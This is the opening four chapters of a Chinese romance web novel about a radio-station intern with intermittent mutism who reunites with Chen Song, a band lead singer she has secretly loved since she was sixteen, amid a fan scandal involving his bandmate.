《暗恋播报》
1. 台风天
暗恋播报
文/甜嘤
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梁岁宜再次见到陈颂,是在这年的五月底。
那时刚刚刮过一场台风,明城台的资料库意外进水,资料库里保存的很多年代久远的资料全部受损,众人手忙脚乱地穿行在大楼里进行抢修。
遇见陈颂时,她刚将一摞纸质材料在天台上摆好等待晾干。
下楼时,却见天台那条窄小的楼梯边不知何时站了个人。
他背对她而站,个子很高,宽阔的肩膀懒散地抵着覆着一层铁锈的栏杆,将他的衣服压出几道深褶。
他头发不算长,被一顶深色的鸭舌帽压着,露出短短的发茬。
单手夹着烟,似乎正在同什么人讲电话。
男人低而沉的声音穿过楼里嘈杂的人声与耳畔呼呼的风声影影绰绰地传过来,梁岁宜耳根莫名有些痒,视线没来由地就落在了他后颈侧边那几枚分布不均匀的小痣上。
在大脑还没反应过来的时候,心脏巨大的鼓噪声就先一步占据了梁岁宜的整个思绪。
她抿了抿唇,下意识想关上门继续躲回到天台上去。
天台的门很久没人使用过,梁岁宜的手指刚刚搭上去,老旧的铁门就忽地发出“吱呀”地一响。
梁岁宜心跳猛地一滞。
下一秒,就见男人漫不经心地转过头来。
他长得和梁岁宜记忆中不太一样了,又能从棱角分明的脸颊轮廓里窥见一些旧时的影子。
高鼻梁,薄眼皮,看人的视线很冷,一副不近人情的样子。
偏他眼睛下边也缀着一颗痣,不像别人的泪痣都在眼尾,他那颗痣长在下眼睑正中间的位置,搭配他身上那股冷得要死的气质,便透着股莫名的勾人。
梁岁宜偶尔听同事聊起他,说粉丝私底下都叫他“妖孽”。
那时梁岁宜尚能故作镇定地打趣:“好中二的昵称。”
同事笑得东倒西歪:“那是因为你没见过陈颂本人,他绝对当得起这一声妖孽。”
平日闲暇的时候,梁岁宜也并非全然没浏览过陈颂的消息。
毕竟,最近关于「西红柿毁灭计划」乐队的舆论很是焦灼,有网友爆料说他们的贝斯手盛嘉睡粉,欺骗小姑娘的感情。
而陈颂作为西红柿毁灭计划的主唱,虽然此事同他没有直接的关系,但多少受点波及。
此时,这位舆论的焦点人物突兀地出现在自己面前,梁岁宜的大脑有瞬间的宕机,她张了张嘴,想要说点什么,却发现自己干涩的喉咙发不出一丁点声音。
心脏一瞬间沉入谷底。
紧接着便看见男人将手机从耳边拿开,朝向她的方向说了声:“抱歉。”
他低头,很快地将手中的烟掐灭,而后慢条斯理地抽出一张纸巾,将那半截未燃完的烟收进去,这才重新看向梁岁宜:“我是不是打扰到你了?”
梁岁宜摇了摇头,想了想,用手语比划出一句:「没有打扰。」
陈颂稍稍一怔。
梁岁宜抿了下唇。
须臾,陈颂忽然沿着台阶走了上来,两指捏着手机边缘递到她的面前:“不好意思,你可以打字给我吗?”
他的声音有一股低沉的哑,很磁性,这样近距离靠近,梁岁宜感觉自己甚至能听见他胸腔共鸣的声音。
她垂眼,接过他的手机,屏幕随着她的动作自然地亮起。
需要解锁。
陈颂大概也是忽然才意识到这点,低啧了声,直接扣住梁岁宜的手腕将手机翻转过来。
他的脸蓦然靠近。
手机锁瞬间解开,陈颂的手指从梁岁宜手腕上移开,打开自己的备忘录。
梁岁宜低下头,慢吞吞地在手机上打字:没有打扰。
台风过后的天空很是澄明干净,天还没有完全放晴,高高的天幕上全是一片透亮的蓝。
因为一直在做体力活,梁岁宜今天穿得很简单,极其普通的T恤和牛仔裤,头发被她用一根皮筋胡乱地挽在脑后。
她个子不太高,皮肤很白,不算特别瘦,露出的一截脖颈连接着圆润的肩。
脸型也是圆圆钝钝的。
大概因为不能说话,所以她的眼睛里总像是晕着一层可怜的水汽。
眼睛很大,像小鹿。
陈颂将目光从她身上收回,转而瞥向她写在手机上的字。
想到什么,梁岁宜又在底下补充:我也没有听见您的电话内容,您不必担心。
那个“您”字显得格外郑重,一下子就把他的辈分拉高了不少。
梁岁宜打完字,匆匆将手机塞回到陈颂的手里,就顺着楼梯跑掉了。
她自己的手机也在口袋里嗡嗡震动着,组长璐姐在群里@她:[小梁,你那边好了吗?]
梁岁宜:[好了,我正过来。]
这场台风对明城台的资料库打击很大,除了一些纸质材料还稍微能拯救一下以外,被水浸泡过的DVD则令人心焦。
梁岁宜回到办公室,便见璐姐一手叉着腰正站在工程师身后,工程师正在尝试修复那些年代久远的影音资料。
近几年的资料在网络上都能搜索到,包括后期人员的电脑里也还能找到原始备份,但是譬如十几二十几年前的光盘资料就变得极其珍贵且危险。
璐姐的眉头皱得快能夹死一只蚂蚁。
其他的组员们则是在手忙脚乱地到处乱窜。
整个办公室都被一股忧愁又忙碌的氛围笼罩。
见梁岁宜进来,同事小艾立马就将一大摞资料放到她手里,紧接着自己转身抱起更大的一摞,唉声叹气地说:“我现在感觉自己就像是一头骡子。”
梁岁宜默了默,对她如此豪放的比喻不置可否。
还好他们部门的办公室离电梯很近,电梯一直升到顶层,过程里小艾一直在喋喋不休地跟梁岁宜讲话。
她是出了名的话痨,半分钟也不能停歇。
说了半天才意识到旁边的人一直没有开口,她问:“宜宜,你怎么不说话?”
梁岁宜只好腾出一只手指了指自己的喉咙。
小艾皱眉:“嗓子哑了?早上不是还好好的吗?”
梁岁宜无法对她的疑惑作出反馈。
小艾又道:“是不是前两天台风淋雨感冒了?”
她们说话间,天台那条窄窄的楼梯已经在眼前。
梁岁宜抬眼瞥过去,先前站在这里的那个人已经不在。
远处天台的风沿着敞开的小门吹过来,将她们怀里的资料吹得哗哗作响。
仿佛刚刚
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她在那里遇到的只是一场梦。
梁岁宜心里忽然又浮起一阵平静又失落的感觉。
她垂下眼,跟在小艾身后慢慢沿楼梯上去。
天台上此时已经铺满资料,为了防风,她们提前在这里搭了一间简易的玻璃房。
梁岁宜和小艾分别跪坐在玻璃房的两端,认真地将手里的资料展平铺开。
忽然,小艾像是想起什么,神秘兮兮地对梁岁宜说:“对了,你知道今天番茄乐队来了吗?”
因为西红柿毁灭计划这个名字实在太长,网友通常都会十分偷懒地直接叫他们番茄乐队。
梁岁宜晾晒资料的动作微不可查地顿了下,抬头茫然地看向小艾。
小艾一对上她的神色,就又长长地叹了一声气:“你作为电视台的工作人员,怎么对这些八卦一点也不敏感啊?!”
她恨铁不成钢地说道:“最近番茄乐队不是塌了吗?然后原本今天他们是要在「音乐时光」代班主持,为了宣传他们这个月推出的新专辑,但是因为他们最近的事儿,我听「音乐时光」那边的同事说,他们组长似乎想把这期录制直接取消。”
明城广电大楼里同时有电视台和广播台两个大的部门,梁岁宜所属的部门也是广播台这边,而梁岁宜负责的版块也都与民生新闻相关,娱乐新闻那边一向和她们井水不犯河水。
要不是这次盛嘉出事,小艾大抵也不会知道西红柿毁灭计划居然要来他们这里录节目了。
毕竟如今各类播客及短视频平台都很火爆,传统广播电台式微,已经很久没有演员歌手选择利用电台进行宣传了。
小艾悠悠地叹气:“不过,隔壁的赵组长这事儿做得其实也不太厚道,如果想把人家的节目删掉,那老早通知人家不要过来录制不就好了?人都来了又搞成这样……”
……
一直到晚上九点,梁岁宜才彻底忙完回到学校。
她今年念大三,其实还不到实习的时间,但是因为明城台那边前段时间突然缺人,她的专业课老师便将她推荐进去了。
此时,宿舍里其他人都在各自的床上忙碌。
见梁岁宜推门进来,好友闵春从激烈的游戏厮杀里抬起头来:“回来了?”
“唔。”梁岁宜点了点头,这才反应过来自己已经能发出声音。
她长长舒了口气,听见闵春说:“你桌子上有云记的青提千层,最后一份!姐好不容易给你抢的,赶紧吃吧。”
说完,她又继续埋头专注于她的游戏世界。
梁岁宜吸了吸鼻子,不知道是不是因为她装感冒装了半天,神秘的吸引力法则发挥作用,她感觉自己好像真的有点感冒。
去卫生间里冲了个热水澡,她才坐到自己的桌前,打开蛋糕的盒子。
小小的三角形状的千层蛋糕,淡青与奶白交织,梁岁宜挖了一口到自己嘴里,味蕾间很快漫开一阵甜意。
她满意地眯了眯眼。
想了想,摸出手机,翻出一个她久未联系的账号。
梁岁宜:[我今天又失语了。]
对面很快回:[不是已经很久没犯了吗?你上次还跟我说你觉得你已经彻底好了。]
梁岁宜:[可能是因为]
梁岁宜:[我今天遇到那个人了。]
2. 暴雨前
晚上睡觉之前,梁岁宜才有空去互联网冲浪一会儿。
她直接打开小号,在微博上搜索盛嘉。
网络上对此事的讨论很是热烈。
【事情还没有定论,你们也不必骂得那么难听吧】
【都这么久了,还没出来否认,这已经很能说明问题了。】
梁岁宜从他的热门广场里退出来,就看到热搜榜的尾巴上缀着一条#番茄乐队音乐时光录制取消#。
他们的黑粉蹿得很快:
【好丢人,这么快就被退货我也是没想到】
【节目组那边想规避风险没什么问题吧?】
【但音乐时光也太势利眼了吧,现在不还没锤呢吗?万一是误会,节目组这不得罪人吗?】
热搜里基本上是粉丝和黑粉的大混战,还有一些则是西红柿毁灭计划粉丝的痛心疾首:
【盛嘉退队退队退队!!其他团员做错了什么要被你连累?】
梁岁宜浏览了一会儿,脑海里忽然就浮现出白天男人倚在楼梯旁抽烟的模样。
停顿稍许,她切到陈颂的微博主页,点开私信,给他发了一个「阳光」的emoji过去。
第二天早上醒来时,梁岁宜发现自己果然感冒了,大概还伴随着轻微的发烧。
她们今天上午八点钟有一节公共课,梁岁宜六点钟就从床上坐了起来。
夏天天亮得早,熹微的晨光沿着窗柩漫进来。
宿舍里其他人还没醒,宿舍里很安静,梁岁宜轻手轻脚地换衣洗漱,等其他人起来时,梁岁宜已经提着早餐从外面晨练回来。
她们宿舍是四人间,另外两个人不是她们专业的,此时还在睡觉。
闵春蹑手蹑脚地从床上爬起来,发现梁岁宜带给她的早餐里多了一个糯米鸡,忍不住抓住她的脸颊亲了一口:“我爱死你了宜宜!你怎么不是我老婆啊?”
心里却忍不住叹气。
梁岁宜总是这样,每次她给她买了什么东西,或者帮她做了个什么事情,隔天她必定会一板一眼地还回来。
固然,不爱占别人便宜是美德,但作为朋友,总觉得太生分了点。
闵春平日里说话胡言乱语惯了,梁岁宜已经习以为常,颇为嫌弃地抽了张纸巾把脸上的口水擦掉,这才坐在床上开始发呆。
她感觉自己有点儿头晕,但体感额头并没有很烫,应该不是大问题。
正思索,隔壁床的姜思淼也起床了。
闵春边刷牙边问她:“你们今天上午不是没课吗?怎么起这么早?”
睡在对面床的方絮眼睛都没睁开,梦游一般地替她回答:“她正在心碎。”
梁岁宜和闵春的视线一齐转到姜思淼身上。
梁岁宜这才发现,姜思淼的眼睛红得不像话,明显是哭得太狠了。
“怎么了这是?”闵春也注意到了不对劲。
姜思淼恹恹地揉了揉眼睛:“正在为我的偶像伤心,别说了,我昨天一夜几乎都没怎么睡。”
姜思淼是西红柿毁灭计划的粉丝,还是死忠团粉,她从西红柿毁灭计划还在唱地下live的时候就关注他们了,到今年满打满算也喜欢了五年了。
梁岁宜走过去拧了条过了凉水的湿毛巾递给姜思淼,姜思淼接过去,低声道了句谢,忍不住笑道:“感觉自己好像个弱智脑残粉。”
梁岁宜抿了抿唇:“喜欢一个人没有错。”
“嗯。”姜思淼低低应了声,半晌才说,“我就是觉得挺不理解的,因为他们这一路走来挺不容易的,我听说颂哥为了组乐队和家里人闹掰了,好几年都没回家了,我之所以喜欢他们,就是因为喜欢他们那股为了喜欢的事情不顾一切的劲儿……”
想到什么,她忽然抬头问梁岁宜:“说起来,宜宜,你不是在明城台实习吗?你们内部有没有什么消息?”
她们实习时签过保密合同,不可以将台里及艺人的信息外泄。
梁岁宜斟酌道:“音乐时光和我们不同组,我不清楚他们那边具体的打算。”停顿两秒,她又补充,“不过,昨天我在台里看到陈颂了,他看起来状态还不错。”
听到这话,姜思淼脸上的表情总算放松些许。
“盛嘉呢?”姜思淼问,“他看起来还好吗?”
梁岁宜说:“我只看到陈颂一个人。”
下午回台里时,梁岁宜明显感觉自己感冒更严重了。
原本下课的时候,她考虑过要不要去医务室里买点药,或者打个紧急退烧针,但她又怕药物会让她犯困,因此只好搁置下来。
昨天一天她们基本上将纸质文书抢救得差不多了,这会儿大家都在办公室里整理材料,工程师徐哥依然坐在电脑前试图复原那些年代久远的光盘资料。
梁岁宜下午有个文稿要写,一进办公室她就埋进了海量的新闻资讯里,等终于写完初稿时,已经是下午四点。
璐姐在群里说给大家买了下午茶,问有没有人跟她一起下去拿。
梁岁宜正要回话,璐姐就直接叫了她的名字:“小梁,你和我一起去。”
梁岁宜应了声,将文档点击保存。
广电大楼的一楼有一个专门盛放外卖的地方,这会儿上面已经堆成小山。
璐姐迅速找到写着自己名字的纸袋,这才状若无意地转头问梁岁宜:“我记得你刚来台里的时候,是想去音乐广播那边的对吧?”
梁岁宜不知道璐姐为什么突然提起这个,但还是点了点头。
璐姐说:“有个事儿我先跟你通个气,你不要跟别人讲。”
她们走到旁边的等候区,梁岁宜看着璐姐:“您说。”
璐姐说:“赵卫军在台里应该干不长了,估计最近一两个月就会走,听说他组里很多人都会一起被他带走,台里是打算让我接手「音乐时光」,最迟下周就会开始试播,我想问你愿不愿意跟我一起过去?”
赵卫军就是隔壁「音乐时光」的赵组长。
梁岁宜说:“他昨天那么果断地鸽了西红柿毁灭计划,就是因为他要走了吗?”
梁岁宜平日里看着钝钝的,对很多事情都不大关心的样子。
似是未料到她对这两件事的联系这么敏锐,璐姐诧异地看了她一眼,这才冷笑道:“是啊,盛嘉那事儿根本就还没有实锤,不能下定论,他倒是巴巴上赶着替台里得罪人。”
梁岁宜垂着眼没接这话。
不知是不是一楼空调开得太低的缘故,她感觉自己一阵阵的头晕。
璐姐又问:“你觉得盛嘉的事情是真是假?”
梁岁宜想了想:“我不太了解他,不能确定。”
她讲话的语速也慢下来,脸颊上面泛着一片软绵的红。
璐姐不由得捏了下她的脸:“忽然发现你比我想象中聪明。”<
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p>梁岁宜看着她。
璐姐说:“干咱们这行的,遇到这种问题,以后都要这么回答。圈子太乱了,你也不知道你面前的都是人是鬼,可能今天还跟你热情地说话,转头就能把你说的话录下来发网上给人审判。谨慎一点是对的。”
她说完,声称自己还有事要忙,就将面前好几个大大的纸袋一股脑儿丢到了梁岁宜的手上:“我刚刚跟你说的事情你考虑考虑,不要着急给我答案,想清楚了微信里跟我说一声就行。”
言毕,她就踩着高跟鞋匆匆地往外走去。
梁岁宜在原地吁了一口气,走到电梯口时,却没想到又遇到陈颂。
这次是他和乐队其他三个人一起。
电梯刚一到站,几道身影就从后面推推攘攘地挤进来,混杂着雨后苔藓气息的男性气息掠过来,梁岁宜被挤得一个趔趄,反应过来时,电梯里已经站满了人。
待站稳后,鼓手哆咪才后知后觉轿厢里还有旁人,连忙大大咧咧地道歉:“抱歉抱歉,是我教子无方,我这就把他们抓回去好好管管。”
话音刚落,他的脑门儿就被人拍了一下,贝斯手稳稳毫不留情地翻了个白眼:“想当爹也要看看自己有没有那个实力,今天峡谷再连跪不要求我救你。”
哆咪立马没有任何骨气地佯装下跪:“爹!!”
梁岁宜听到这声“爹”,唇角忍不住弯了下,抬眼时,却正对上陈颂那双戏谑的眼。
他今天穿得很休闲,是一件黑色印花T恤,脖子上挂了个头戴式耳机,人看着没什么精神的样子。
薄薄的眼皮朝下压着,眼皮微耷,眼尾狭长,听见稳稳和哆咪两人小学生一样的对话,唇角勾起一个略微嘲讽的弧度。
莫名地,梁岁宜觉得他嘴里将要说出一些不好听的话。
果然,下一秒,陈颂就懒洋洋地说道:“不好意思,八院今天放风,让你见笑了。”
八院是明城有名的精神病院,梁岁宜笔直地站着,完全不知道该如何接话。
好在电梯这时候停了,轿厢门打开,几人错落着走出去。
站在后面一直耷拉着脑袋没出声的盛嘉看着面前让人不省心的这三个人,表情凝重地叹了口气,这才走到梁岁宜面前问道:“你没事吧?他们几个脑子不太好,你把他们的话当放屁就行了。”
“……”
梁岁宜沉默了片瞬,刚要说话,斜刺里倏地伸出一只手直接拎住盛嘉的后颈。
陈颂的语调听起来不大正经:“人家梁主播没事儿,你们就不要在这里无事献殷勤打扰别人工作了,有我这么一个帅得惨绝人寰的人站这儿呢,人家,不会看上你们的,懂?”
话音落下,空气似有一瞬间的静谧。
旁边三人皆是一副没眼看的表情。
紧接着是稳稳的声音。
“哇靠陈颂你要不要脸,只是礼貌关心,怎么被你说得那么脏呢?”
……
等那阵吵吵嚷嚷的声音慢慢远去,梁岁宜脸上泛起的热度才稍稍降下去一点。
她垂眸看了看自己的脚尖。
后知后觉才反应过来,刚刚陈颂突然冒出那一句,大概是因为昨天在天台上那一茬儿,估计他以为她不会说话,怕她难堪,这才不动声色地将话题带了过去。
以及,她突然又想起陈颂那一句“梁主播”。
——他怎么知道她姓梁?
3. 夏雨夜
看他的态度,不像是对她有印象的样子。
梁岁宜想了一会儿,才反应过来她现在正戴着胸牌。
想来他是看到了她工作证上的名字,因此才这样叫她。
西红柿毁灭计划再次来到台里的消息很快就在办公室里传开。
梁岁宜坐在办公桌前校稿的时候,小艾就悄摸摸坐到她旁边八卦。
“你有没有听说,他们说音乐时光那边推掉了和番茄乐队的合作,是老赵自作主张的行为,他并没有跟上面的领导通气,领导知道的时候气得要死,连忙把陈颂他们又请了回来……”
她自顾自地嘀咕:“也不知道老赵图什么,现在舆论搞这么凶,也不知道要怎么收场。”
“……总不能是他嫉妒人家年轻貌美,故意膈应人家吧?”
眼看她脑洞越开越大,梁岁宜停下打字的动作,无奈道:“应该不至于?”
“怎么不至于?”小艾摸出手机,“你难道不知道,陈颂在今年上半年被咱们听众票选为最想要嫁的男人没有之一?”
小艾说着,直接将手机怼到了梁岁宜面前。
那场投票是他们广播站发起的,这年头,听传统电台的人其实不多了,但大抵是因为投票涉及到很多男明星,没想到投票的人还挺多。
梁岁宜垂眼,看到那些投票给陈颂的人写的投票理由:
【投给陈颂还需要什么理由吗?那脸,那公狗腰,那性感的小嗓音,那性张力,千言万语汇成一句:老公x我!!】
【看到有的人写的答案我真想问这个互联网就没有你们在乎的人了吗?!但陈颂是我的谢谢!】
【试想一下,月黑风高,你累得要死下班回家,刚要进门,玄关里就突然伸出一只青筋凸起的手把你捞进怀里。网络上有无数的人为他疯狂,而他此时只属于你一个人,他还用他那把唱情歌的嗓子低沉地在你耳边喊“宝贝”……别问,我在写梦女文学。】
“宜宜?”梁岁宜正看得无言,旁边突然伸过来一只手贴了下她的额头,小艾说,“你的脸怎么这么红?”
梁岁宜将手机递给小艾,不敢再往下看下去。
小艾“咦?”了一声:“我怎么感觉你额头有点烫?”
她说完,直接从自己办公桌上翻出一个电子体温计,对着梁岁宜的额头点了下。
“我靠!三十八度七!你发烧了!”
她的声音有点大,周围的同事纷纷抬眼看过来。
小艾说:“不行,你这得去医院。”
梁岁宜说:“晚上有我的节目。”虽然她只是主持助理,但作为实习生,在节目开播前突然缺席,总归不大好。
小艾直接夺过她手里打印出来的文稿:“你先去医院,今晚的班我替你顶一下,回头你还我就行了。”
见梁岁宜还在犹豫,小艾说:“你现在这个状态,难保晚上不会犯错,到时候更麻烦。”
其余同事也纷纷来劝,梁岁宜犹豫了一下,很快便果断道:“那我下次帮你顶两天的班。”
“行啦行啦,知道你不喜欢欠人,我领下了,你赶紧去附近的医院打个针。”小艾说着,又看了眼外面的天气,“这天看起来又要下雨,你记得带把雨伞。”
……
下午五点钟,雨便又落下来。
乌云从城市上空罩下来,硕大的雨滴瓢泼似地往下落。
陈颂单手开着车,另只手拧开车载电台,悠扬的音乐声很快在车厢里流淌开来。
稳稳双手扒着车窗,嘀咕道:“中午的时候天还晴着,怎么这么快又下大雨。”
“今年的台风反反复复的。”哆咪接道。
盛嘉托着下巴,独自望着窗外的雨幕发呆,陈颂从后视镜里瞥了眼他,状似随意地问道:“盛嘉,你和谢薇的事情谈得怎么样了?”
谢薇就是曝光盛嘉睡粉的那位“网友”。
盛嘉神色低沉道:“她还是不回复我。”
谢薇从小和盛嘉一起长大,两人家庭条件都不算好,夸张点讲,有很长一段时间,两个人说是相依为命也不为过了。
但不知是不是因为这样太过紧密的成长环境,导致谢薇对盛嘉有股偏执的占有欲。
前阵子她跟盛嘉表白,盛嘉说一直以来只是把她当妹妹。
结果小姑娘转头就把盛嘉挂到了网上。
他们两个认识了很多年,脸贴在一起看似很亲密的照片不算少。
网友看到那些照片就直接相信了她所有的话。
盛嘉有些颓丧地捂住脸:“你们放心,我会处理好这件事的,一定不会连累你们。”
“你打算怎么处理?”哆咪从手机里抬起头来,“别跟我说你真的打算像网友说的那样退团?”
其实这个事情说难处理也不算难,直接将真相公开就可以了。
但盛嘉担心那样的话谢薇会被网友骂,于是这件事就一直这么拖着。
车厢里的冷气开得有点低,外面的雨越下越大,陈颂漫不经心调试着雨刮器,想说什么,忽然稳稳道:“咦,外面那个人怎么长得有点像梁主播?”
下午五点一刻,路灯还没亮起,雨幕将整个世界都笼在一片雾蒙蒙的潮气里。
公交站台的LED灯映照着梁岁宜那张软净白皙的脸。
她长得不算是那种一眼看过去就会觉得很漂亮的脸,眼睛很大,但眉目间总显得有些疏淡。
站台边躲雨的人很多,但她往那儿一站,就是有股将所有人都隔绝在外的游离感。
陈颂猛然踩住刹车。
稳稳猝不及防,身子被带得前后一晃,下一秒便听陈颂慢悠悠地吐字:“你坐后边儿去。”
直到坐进陈颂的车里,梁岁宜还有点恍惚。
雨实在太大了,纵然她撑着伞,但身上还是不可避免地淋湿了。
她有些狼狈地蜷在黑色的皮质座椅上,刚收起的雨伞湿淋淋往下滴着水,她担心雨伞把车座弄脏,又担心自己浸着水汽的衣服把车座弄脏。
正不知所措,旁侧忽地贴过一阵温暖而干燥的气息。
陈颂余光瞥见她提着的雨伞,淡淡道:“雨伞直接放在中控台底下就行。”
他讲话时声音很低沉,又很喜欢拖一点腔调,显得很漫不经心。
梁岁宜讷然地“噢”了声。
陈颂修长的手指摁开中控台底下的柜子,听见声音动作很明显地停顿了下,侧头看向梁岁宜。
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梁岁宜愣了愣,才想起在他的认知里她应该是个有语言障碍的人。
她的失语症其实基本上已经好清了,只有在极度紧张的时候才会说不出话。
经过这两天的调理,她已经能够如常面对陈颂了。
梁岁宜有些窘迫地轻咳了声,下一刻,身上就陡然被丢来一条细绒的薄毯。
陈颂说:“虽然是夏天,但还是擦一下,别感冒了。”
梁岁宜心说已经感冒了。
但她还是没有多说,只低声道了句:“谢谢。”
毯子应该是新洗过的,上面浸着一股洗涤剂和阳光暴晒后的清香,洗涤剂的气味和陈颂刚刚侧身时漫过来的气息有点像。
陈颂做完这些事,又径自把空调的温度往上调了些,这才问梁岁宜:“方便告诉我你的住址?”
他同人讲话时有一种固执的礼貌,很喜欢目光直视着说话的对象。
车厢里开了盏很小的阅读灯,蜜色的灯光将他神色照得有些温柔。
梁岁宜有些不自在地撇开视线。
她张了张嘴,觉得报医院地址给人家怪尴尬的,到时候又要难免一阵关心和寒暄,想了想,她说:“您直接送我去明城大学就可以。”
陈颂挑了挑眉。
哆咪在后面问:“梁主播你居然还在读书吗?”
梁岁宜点头:“我今年大三。”
“哇哦,明城大学可是名校,你还是学霸呢。”
哆咪和稳稳是两个自来熟,车厢里的气氛很快被他们两个调动起来。
梁岁宜低着头,有一种手脚都不知该放在哪里的僵硬感。
她抿唇道:“还行。”
哆咪说:“你如果都只是还行,那我就完全是个渣渣了。”
稳稳拍了拍他的肩膀:“你终于对你自己有清晰的认知了,为父甚是欣慰。”
哆咪踢了他一脚:“滚啊!!以前上学的时候你成绩还不如我!”
盛嘉说:“不过,我们几个也就颂哥一个人成绩是好的吧……”
“对吼!”哆咪操着一口他最近在偶像剧里学来的新口音,直接扒住梁岁宜的靠背,兴奋地说道,“算起来,颂哥还是梁主播你的学长呢!”
“是吗?”梁岁宜低着头,手里那条细绒的毯子被她揪出几道可怜的深褶,梁岁宜扯起一个略显僵硬的笑,“那还蛮巧的。”
“是很巧。”
车子驶过一个弯道。
晚高峰,路上的车流渐渐密实起来。
雨仍在下,伴随着滚滚的惊雷。
偶然划过的闪电擦过车窗照亮陈颂的眉眼,他的眼尾下撇,余光若有似无落在梁岁宜身上,有些意味深长的弧度。
没来由地,心脏忽然就怦怦地跳动了下。
约是下雨的缘故,今晚路上堵得厉害。
稳稳和哆咪闹腾了一会儿,也渐渐歇了下来,梁岁宜额头抵着车窗。
方才淋了点雨,让她的大脑以毒攻毒地清醒了会儿,现在整个人被关进狭小的车厢里,病症便忽然更加汹涌地反噬过来。
她不想被人瞧出病容,于是整张脸都埋进车窗的那边。
不知不觉竟然睡过去。
4. 春夜里
这一睡,梁岁宜久违地梦到了一些以前的事情。
梁岁宜是在十六岁这年搬到樱川。
那阵子樱川也恰好刚进入黄梅天,连日的阴雨天让这座漂亮的小城仿佛被一条染了水汽的湿毛巾揉透了。
那是梁岁宜失语的第二年,她其实不是完全讲不出话,经过一年的调理,她已经能够慢慢发出一些单音节和简单的词语。
但到底一整年没有讲过话,她不太习惯艰难又生涩的发声,索性继续像以前一样缄口不言了。
十六岁且不会说话的女孩子看起来不太讨喜,那段时间她一直住在舅舅家。
舅舅家条件还不错,在市中心有一座二层的小楼,外加半层矮矮的阁楼。
小楼的一层被舅舅拿来开酒吧了,二楼则是供舅舅、舅妈和表哥边叙居住。
梁岁宜搬来后,顺其自然地就被安排进了阁楼里。
阁楼的屋顶很矮,显得潮湿和逼仄。
但梁岁宜其实还挺喜欢这里。
她有自己独立的空间,阁楼狭小的环境会让她感觉自己正被整个世界紧密而温暖地拥抱着,而且,阁楼上面还有一扇小小的四方的小窗户。
下雨的时候,细如丝的雨珠顺着玻璃窗户落下去。
雨水敲在屋顶上淅淅沥沥的声音也很好听。
唯有一样不好,阁楼的隔音似乎做得不怎么好。
有时她早上醒得早,便能听见舅妈不满地同舅舅小声抱怨,说自己累得要死,还要再养一个小拖油瓶。
其实梁岁宜能够理解舅妈。
舅舅和她有血缘关系,但舅妈没有,况且她平日待她并没有多苛责,只是嘴上严厉了些。
尽管理解,但每次梁岁宜听见这些话,光着脚站在楼梯边缘,还是难免会生出一种不知所措的空泛感。
后来她学聪明了些,便在每天半夜舅舅和舅妈睡着后,去将整个房子都打扫干净。
那阵子她学业也忙,因为刚转学到樱川,很多课程都衔接不上。
每晚等她做完功课都已经差不多凌晨十二点了,再打扫完卫生,往往要拖到一点左右。
打扫完卫生后她还会顺道去扔垃圾,垃圾房在巷尾处。
暮春的空气很是清新舒适,梁岁宜很享受那一路静谧而安宁的时光。
遇见陈颂,便是在这样一个暮春的雨夜。
当时她扔完垃圾刚回来,打开门却见玄关处的灯不知被谁打开了。
门廊边放着两双鞋子,客厅里传来细细碎碎的对话声。
见她开门进来,屋里说话的两人也是一愣。
梁岁宜搬来之后,还没见过表哥边叙,只知道他在明城读书,平日里很少回来。
虽然没碰过面,但梁岁宜还是知道边叙长什么样子的。
倒是站在他旁边的男生——
那时正是凌晨两点的光景,夜很安静,只有墙上的钟表在发出吱吱呀呀的年轮转动的声音。
梁岁宜的视线越过边叙与他身侧的男生对上。
他个子好高,薄薄的脊背撑起黑色的衣领,头上也戴了顶同色系的棒球帽,帽檐压得很低,鼻梁很挺翘。
边叙很快反应过来,弯着眼睛走过来跟梁岁宜打招呼:“你就是宜宜吧?好久不见,还认识我吗?”
梁岁宜很轻地“嗯”了声,因为太久没说过话,声音嘶哑得厉害,不太好听。
她顿了顿,低头摸出自己的手机,慢慢地在上面打字:记得的,你是表哥。
她从小就不是那种能言善辩的性格,写完这句话,就不知道该说什么了。
边叙神情间露出一丝讶异。
在之前的电话里,爸妈并没有告诉他表妹患有什么语言障碍类的疾病。
但惯常的礼貌让他并未露出太多异样,他很快就拽过陈颂的手臂给梁岁宜介绍:“这个是我同学,这几天在咱们家借住,你直接喊他哥哥就行。”
他说着,将陈颂推到了梁岁宜面前。
少年高挑的身影落下来。
梁岁宜抬起眼,瞧见他笑盈盈地朝她递出一只手:“你好,陈颂。”
须臾,又补充:“顺颂时宜的颂。”
那是梁岁宜的十六岁。
她的个子比现在更矮,脸上没什么肉,显得瘦骨伶仃的。
唯一还称得上是优点的,大概就是她很白,眼睛总是像幼鹿一样怯生生的。
她的手指贴上去,触碰到的男生的皮肤干燥而温暖。
梁岁宜垂睫,视线落在少年衬衫的衣摆上,心脏就那样突兀地鼓噪起来。
第二天早上,梁岁宜果然又在餐桌上见到陈颂。
他和边叙是朋友,两人的脾性却不大像。
边叙总是很礼貌,对所有人都很温柔,看起来很是恭谨纯良。
陈颂则像是从骨子里透出的懒散。
其实他长得很稠丽,不笑的时候人看着十分的冷淡,笑起来又总显得很戏谑,令人感到不大正经。
但在餐桌上他同舅舅舅妈讲话时又很妥帖,不过分亲昵恭敬,但也不会让人觉得冷场,仿佛天生的教养。
梁岁宜闷头将碗里最后一口白粥吞进肚子里,这才起身去拿自己的书包。
她无法发声,弯腰傻里傻气地朝桌上几人鞠了一躬,便要向外走去。
边叙拿起自己搭在椅子上的外套,匆匆捞起桌上的粥碗喝了一口,囫囵道:“我送你去学校。”
梁岁宜连连摆手表示不要。
舅妈也在一旁搭腔:“又不是小孩子了,上个学还要别人送,别把她惯坏了。”
这话又有些阴阳怪气,梁岁宜站在门廊边有点尴尬。
边叙还要再说什么,肩膀倏地被人按住。陈颂懒洋洋地站起身,轻笑道:“阿姨说得对,你好不容易回家一趟,还是好好陪陪叔叔阿姨吧。我刚好要出去买点东西,不如我跟……妹妹一起?”
中间那个停顿,显然是没记住她的名字。
梁岁宜和他一前一后走在清晨的街道上。
早市已经开始,但路上行人并不算多,陈颂今天换了一件白色的T恤,单手插着兜,另只手拿着手机,一直低着头不知在跟什么人聊天。
他的头发稍微有点儿长,低头时,凌乱的发尾便扎在后颈上,露出几颗若隐若现的小痣。
梁岁宜不自觉地盯着他看了很久,其实想跟他说真的不需要送她。
但她说话有点费劲,还要在手机上打字……又或许,她的内心深处其实有一点点贪恋有人送她去学校这件事。
总之,解释和推辞的话就这么拖了下来。
但拖着她又觉得心里难安,那点温柔被人摊开手掌递到她面前,她既贪恋,又不敢真的收下。
正苦恼,走在前面的人突然停下了步子。
